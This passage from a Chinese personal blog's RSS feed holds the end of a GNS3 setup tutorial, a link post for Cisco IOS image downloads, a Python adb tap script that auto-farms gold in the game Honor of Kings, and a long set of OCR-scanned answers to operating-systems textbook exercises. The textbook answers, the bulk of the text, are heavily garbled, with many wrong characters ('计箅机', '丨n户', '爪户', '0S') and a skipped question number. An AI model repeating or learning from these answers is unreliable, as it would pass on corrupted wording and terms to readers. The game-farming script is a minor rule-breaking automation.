<br class="Apple-interchange-newline" />
<img alt="" class="has" height="700" src="https://img-blog.csdn.net/20181005131138693?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
设dynamips置镜像存放位置<br />
<img alt="" class="has" height="700" src="https://img-blog.csdn.net/20181005131138728?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
<br />
配置设备命令行使用的工具，我习惯使用crt，所以一crt为例进行设置。<br />
<br />
<img alt="" class="has" height="700" src="https://img-blog.csdn.net/20181005131138882?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
2.服务设置（Server）<br />
启用本地服务，在Enable local server前面的多选框选中，其他参数不需要修改。<br />
<br class="Apple-interchange-newline" />
<img alt="" class="has" height="700" src="https://img-blog.csdn.net/20181005131138946?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
<br />
<br />
3.设置GNS3 VM<br />
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="700" src="https://img-blog.csdn.net/2018100513113984?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<div>
	<br />
</div>
<br />
<br />
4.设置抓包软件<br />
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<br class="Apple-interchange-newline" />
<img alt="" class="has" height="700" src="https://img-blog.csdn.net/20181005131139110?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<div>
	<br />
</div>
<br />
<br />
5.导入dynamips镜像<br />
<br />
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<br class="Apple-interchange-newline" />
<img alt="" class="has" height="700" src="https://img-blog.csdn.net/20181005131139190?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="430" src="https://img-blog.csdn.net/20181005131139203?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="587" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="430" src="https://img-blog.csdn.net/20181005131139305?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="587" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="430" src="https://img-blog.csdn.net/20181005131139431?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="587" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="430" src="https://img-blog.csdn.net/20181005131139485?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="587" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="430" src="https://img-blog.csdn.net/20181005131139561?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="587" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
6.导入IOU镜像<br />
选中IOU Devices然后新建<br />
<br />
<br />
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<br class="Apple-interchange-newline" />
<img alt="" class="has" height="700" src="https://img-blog.csdn.net/20181005131139611?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="443" src="https://img-blog.csdn.net/20181005131139731?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="588" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<br />
<br />
<br />
填写名称，选中新镜像，点击Browse加载镜像完成上传。<br />
<br />
<br />
<img alt="" class="has" height="443" src="https://img-blog.csdn.net/20181005131139767?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="588" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;color:#4F4F4F;font-family:-apple-system, &quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" /><br />
IOU需要加载license验证通过后才能正常启动系统开始试验，加载iourc文件<br />
<br />
<br />
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<br class="Apple-interchange-newline" />
<img alt="" class="has" height="700" src="https://img-blog.csdn.net/20181005131139924?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="982" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<p style="box-sizing:border-box;outline:0px;margin-top:0px;margin-bottom:16px;margin-left:0cm;padding:0px;font-size:16px;color:#4F4F4F;line-height:26px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img alt="" class="has" height="700" src="https://img-blog.csdn.net/201810051311409?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhbnRlc2l0ZQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70" width="983" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;max-width:100%;overflow-wrap:break-word;cursor:zoom-in;" />
</p>
<br />
<br />
<br />
到此，已经完成GNS3的安装和配置。可以正常使用并完成实验了。<br />
---------------------&nbsp;<br />
作者：danteit&nbsp;<br />
来源：CSDN&nbsp;<br />
转自：https://blog.csdn.net/dantesite/article/details/82943496&nbsp;<br />
<br />]]></description>
	<pubDate>Fri, 26 Oct 2018 14:16:15 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=29</guid>

</item>
<item>
	<title>最全GNS3专用 Cisco IOS下载</title>
	<link>https://www.zuoer.xin/?post=28</link>
	<description><![CDATA[<a href="https://cciebook.com/gns3_cisco_ios.html" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;margin:0px;padding:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;background-color:#FFFFFF;overflow-wrap:break-word;font-family:-apple-system, &quot;font-size:16px;font-variant-ligatures:common-ligatures;white-space:normal;">最全GNS3专用 Cisco IOS下载</a>]]></description>
	<pubDate>Fri, 26 Oct 2018 11:07:42 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=28</guid>

</item>
<item>
	<title>王者荣耀刷金币脚本（python）</title>
	<link>https://www.zuoer.xin/?post=27</link>
	<description><![CDATA[#&nbsp; ADB&nbsp; 安卓平台调试桥 是连接安卓手机和PC端的桥梁<br />
#&nbsp; 运行设备的shell（命令行）<br />
#&nbsp; adb shell screencap ()&nbsp; &nbsp; 获取设备屏幕截图<br />
#&nbsp; adb pull （）&nbsp; &nbsp;传文件<br />
#&nbsp; adb shell input tap(数值 )&nbsp; &nbsp; &nbsp;点击手机屏幕&nbsp; 数值是坐标<br />
<br />
<br />
<div style="white-space:nowrap;">
<pre class="prettyprint lang-py linenums">import os   #导入操作系统的模块
from time import sleep    #  从time模块导入sleep函数

def tap_screen(x,y):
    os.system('adb shell input tap {} {}'.format(x,y))

if __name__ == '__main__':
    for i in range(60):
        if(i&gt;0):
            tap_screen(2489,1307)  #再次挑战
            print('再次挑战')
            sleep(5)

        tap_screen(1465,913)    # 闯关
        print('开始闯关')
        sleep(10)
        tap_screen(1795,40)     # 自动
        print('自动按钮点击')
        sleep(27)
        tap_screen(1795,40)     # 跳过
        sleep(2)
        tap_screen(1795,40)     #在跳过
        sleep(5)
        tap_screen(500,500)
        print('点击屏幕继续')
        sleep(5)
        tap_screen(1588,975)  #再次挑战
        sleep(1)
</pre>
<br />
</div>]]></description>
	<pubDate>Tue, 16 Oct 2018 09:24:29 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=27</guid>

</item>
<item>
	<title>计算机操作系统课后习题答案(第四版)</title>
	<link>https://www.zuoer.xin/?post=26</link>
	<description><![CDATA[<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<span style="font-size:24px;">百度云：</span><a href="https://pan.baidu.com/s/1mfl7gRTbtiqHmxic65SPvg" target="_blank"><span style="font-size:24px;">https://pan.baidu.com/s/1mfl7gRTbtiqHmxic65SPvg</span></a> 
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<strong> </strong>
</p>
<p class="19" style="margin-left:0.0000pt;text-indent:0.0000pt;">
	<strong>第一章&nbsp; &nbsp;<span style="background-color:#E53333;color:#FFFFFF;font-size:32px;">（OCR 扫描的 可能出现错字 看百度云的）</span></strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>1.&nbsp;设计现代0S的主要目标是什么？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：<span>（</span>1)<span>存效性</span> <span>（</span>2)<span>方便性</span> <span>（</span>3)<span>可扩充性</span> <span>（</span>4)开放性</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>2.&nbsp;0S的作用可表现在哪几个方面？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：<span>（</span>1) 0S作为用户与计箅机硬件系统之间的接口</strong>
</p>
<p class="19" align="justify" style="margin-left:27.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>(2)&nbsp;0S作为计算机系统资源的管理者</strong>
</p>
<p class="19" align="justify" style="margin-left:27.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>(3)&nbsp;0S实现了对计算机资源的抽象</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>3.&nbsp;为什么说0S实现了对计算机资源的抽象？</strong>
</p>
<p class="19" style="text-indent:0pt;">
	<strong>答：OSft先在裸机上覆盖一层I/O<span>设备管理软件，实现了对计算机硬件操作的</span> <span>笫一层次抽象：在第一层软件上码褪盖文件管理软件，实现了对硬件资源操作的</span> <span>第二层次抽象。</span>0S<span>通过在计算机硬件上安装多层系统软件，增强了系统功能，</span> <span>隐藏了对硬件操作的细节，由它们共冋实现了对计算机资源的抽象。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>4.&nbsp;试说明推动多道批处理系统形成和収展的主要动力是什么？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：主要动力来源于四个方面的社会耑求与技术发展：</strong>
</p>
<p class="19" align="justify" style="margin-left:21.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>(1)&nbsp;不断提高计算机资源的利爪率：</strong>
</p>
<p class="19" align="justify" style="margin-left:21.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>(2)&nbsp;方便丨n户：</strong>
</p>
<p class="19" align="justify" style="margin-left:21.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>(3)&nbsp;器件的不断更新换代<sub><span>；</span></sub> </strong>
</p>
<p class="19" align="justify" style="margin-left:21.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>(4)&nbsp;计算机休系结构的不断发展。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>5.&nbsp;何谓脱机I/O和联机I/O?</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：脱机I/O<span>是指事先将装有用户程序和数据的纸带或卡片装入纸带输入机或</span> <span>卡片机，在外围机的控制下，把纸带或卡片上的数据或程序输入到磁带上。该方</span> <span>式下的输入输出由外围机控制完成，是在脱离主机的情况下进行的。而联机</span>I/O 方式是指程序和数据的输入输出都是在主机的宵接控制下进行的。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>6.&nbsp;试说明推动分吋系统形成和发展的主要动力是什么？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>答</span>:推动分时系统形成和发展的主要动力是更好地满足用户的需要。主要表现在： CPU<span>的分时使用缩短了作业的平均周转时间；人机交互能力使用户能直接控制自</span> <span>己的作业：主机的共亨使多用户能</span>N时使用M—台计算机，独立地处理自己的作 业。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>7.&nbsp;实现分时系统的关键问题是什么？应如何解决？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>答：关键问题是当用户在自己的终端上键入命令时，系统应能及时接收并及时处</span> <span>理该命令，在</span>m<span>户能接受的时延内将结采返网给用户。解决方法：针对及时接收</span> <span>问题，</span>II丨以在系统中设s多路卡，使主机能同时接收rn<span>户从齐个终端上输入的数</span> <span>据：为姆个终端配黃缓冲</span>K，<span>暂存用户键入的命令或数据。针对及时处理问题，</span> <span>应使所有的爪户作业都宵接进入内存，并且为侮个作业分配一个时间片，允许作</span> <span>业只在自己的时间片内运行，这样在不长的时间内，能使每个作业都运行一次。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>8.&nbsp;为什么要引入实时0S?</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>答：实时操作系统是指系统能及时响应外部事件的请求，在规定的时间内完成对</span> <span>该事件的处理，并控制所有实时任务协调一致地运行。引入实时</span>OS<span>是为了满足</span> <span>应</span>rn的需求，更好地满足实时控制领域和实时信息处理领域的需要，</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>9.&nbsp;什么是硬实时任务和软实时任务？试举例说明。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>答：硬实时任务是指系统必须满足任务对截十时间的要求，否则可能出现难以预</span> <span>测的结果。举例来说，运载火箭的控制等。软实时任务是指它的截止时间并不严</span> <span>格，偶尔错过了任务的截止时间，对系统产生的影响不火。举例：</span>m<span>贞内容的更</span> <span>新、火车售票系统。</span> </strong>
</p>
<p class="19" style="text-indent:0pt;">
	<strong>10.&nbsp;<span>试从交互性、及时性以及可靠性方面，将分时系统不实时系统进行比较。</span> <span>答：</span><span>（</span>1)<span>及时性：实时信息处理系统对实时性的要求与分时系统类似，都是以</span> <span>人所能接受的等待时间來确定：而实时控制系统的及时性</span>.是以控制对象所要求 的开始截ii•.时间或完成截止时间来确定的，一般为秒级到毫秒级，姓至冇的要低 于100微妙<sub>3</sub> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:27.0000pt;text-align:justify;">
	<strong>(2)&nbsp;交互性：实时信息处理系统H<span>冇交互性</span>.但人与系统的交互仅限于访 问系统中某鴒特定的专ni<span>服务程序。不像分时系统那样能向终端用户提供数据和</span> <span>资源共亨等服务。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:27.0000pt;text-align:justify;">
	<strong>(3)&nbsp;"<span>丨猫性：分时系统也要求系统付靠，但相比之下，实时系统则要求系</span> <span>统具宵高度的町靠性。闪为任何差错都可能带来巨大的经济损失，极至是灾难性</span> <span>后果，所以在实时系统中，往往都采取了多级容错措施保障系统的安全性及数据</span> <span>的安全性。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>11.&nbsp;0S有哪几人特征？其最基本的特征是什么？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：并发性、共享性、虚拟性和异步性四个基本特征：最甚本的特征是并发性。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>12.&nbsp;在多道程序技术的0S环境下的资源共亭与-•般情况下的资源共亨有何不 冋？对独A资源应采取何种共亨方式？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:15.0000pt;text-align:justify;">
	<strong>一般情况下的共享与操作系统环境下的共享其含义并不完全相N。<span>前者只是</span> <span>说明采种资源能被人家使</span>IT]，<span>如图书馆中的图书能提供给人家借阅，但并未限定</span> <span>借阅者必须在同一时间（间隔</span>)<span>和同一地点阅读。又如，学校中的计算机机房共全</span> <span>校学生上机，或</span>#说，全校学生共亨该机房中的计算机设备，虽然所有班级的上 机地点是相问的，但各班的上机时间并不相问。对于这样的资源共亨•方式，只要 通过适当的安排，用户之间并不会产生对资源的竞争，_此资源管理是比较简单 的。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:15.0000pt;text-align:justify;">
	<strong>而在〇s环境下的资源共亨或称为资源sin，<span>是指系统中的资源可供内存中多</span> <span>个并发执行的进程共同使爪。这里在宏观上既限定了时间</span>(进程在内存期间），<span>也</span> <span>限定了地点（内</span>#)。对于这种资源共亨方式，其管理就要复杂得多，w<span>为系统中</span> <span>的资源少于多道稈序耑求的总和，会形成它们对共亨资源的争夺。所以，系统必</span> <span>须对资源共亨进行妥善管理。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>对独占资源采用互斥共亨方式。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>13.&nbsp;什么是时分复用技术？举例说明它能提高资源利用率的根本原w<span>是什么？</span> <span>答：时分复用技术：将资源在不间的时间片内分配给各进程以使该资源被重复利</span> <span>用，从而提岛资源的利用率。如采用时分复用技术的虚拟处理机，能够在不同</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>的时间片内处理多个用户的请求，从而使得用户感觉自己独占主机，而处理机在</span> <span>这期间也被充分的利用。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>14.&nbsp;是什么原闽使操作系统具有异步性特征？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>答：操作系统的异沙性体现在二个方面：一是进程的异步性，进稈以人们不可预</span> <span>知的速度向前推进</span>.二是程序的不可#现性，即程序执行的结果有时是不确定 的，三是程序执行时间的不可预知性，即侮个程序何时执行，执行顺序以及完成 时间是不确定的。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>15.&nbsp;处理机管理有哪些主要功能？它们的主要任务是什么？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>答：处理机管理的主要功能是：进程管理、进程冋步、进程通信和处理机凋度：</span> <span>进程管理：为作业创建进程，撤销已结朿进稈，控制进程在运行过稈中的状态转</span> <span>换。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>进程㈣步：为多个进程（含线程）的运行进行协调。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>进积通信：來实现在相互合作的进程之间的信息交换。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>调度：<span>（</span>1)<span>作业调度。从后备队里按照</span>•定的算法，选出苫千个作业，为他们 分配运行所耑的资源（n选是分配内存）^</strong>
</p>
<p class="19" style="text-indent:35pt;">
	<strong>(2)&nbsp;<span>进程调度：从进程的就绪队列中，按照一定算法选出一个进程，把</span> <span>处理机分配给它，并设</span>K运行现场，使进程投入执行。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>16.&nbsp;内存管理有哪些主要功能？他们的主要任务是什么？</strong>
</p>
<p class="19" style="text-indent:0pt;">
	<strong><span>答：内存管理的主要功能有：内存分配、内存保护、地址映射和内存扩充。</span> <span>内存分配：为每道程序分配内存。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>内</span>#保护：确保毎道爪户程序都只在自己的内存空间运行，彼此互不干扰。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>地址映射：将地址空间的逻辑地址转换为内存空间与对应的物理地址。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>内存扩允：用于实现请求调用功能，置换功能等</span>^</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>17.&nbsp;设备管理冇哪些主要功能？其主要任务是什么？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：主要功能有：缓冲管理、设备分配和设备处理以及虚拟设备等。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>主要任务：完成爪户提出的I/O请求，为用户分配I/O设备：提高CPU和I/O 设备的利爪率：提商I/O<span>速度：以及方便用户使用</span>1/0设备。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>18.&nbsp;文件管理有哪些主要功能？其主要任务是什么？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>答：文件管理主要功能：文件存储空间的管理、目录管理、文件的读</span>/写管理和 保护。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>文件管理的主要任务：管理ra户文件和系统文件，方便爪户使n],<span>保证文件安全</span> <span>性。</span> </strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>19.&nbsp;试说明推动传统0S演变为现在0S的主要闽索是什么？</strong>
</p>
<p class="19" style="text-indent:0pt;">
	<strong>(1)&nbsp;系统安全，<span>（</span>2)网络的功能和服务<sub>3</sub>&nbsp;(3)支持多媒体。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>20.&nbsp;试描述什么是微内核0S。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong><span>答</span>:1)足够小的内核2)<span>基于客户</span>/服务器模式3)应用机制与策略分离原理4) 采爪面向对象技术。</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>21.&nbsp;微内核操作系统n有哪些优点？它为何能冇这些优点？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：<span>（</span>1)<span>提高了系统的</span>•扩展性；<span>（</span>2)增强了系统的可播性：<span>（</span>3)<span>坷移植性</span>:</strong>
</p>
<p class="19" style="text-indent:0pt;">
	<strong>(4)&nbsp;提供了对分布式系统的支持：<span>（</span>5)融入了面向对象技术</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>23.&nbsp;在微内核0S<span>中，为什么要采用客户</span>/服务器模式？</strong>
</p>
<p class="19" align="justify" style="margin-left:0.0000pt;text-indent:0.0000pt;text-align:justify;">
	<strong>答：C/S模式具有独特的优点：</strong>
</p>
<p class="19" style="text-indent:0pt;">
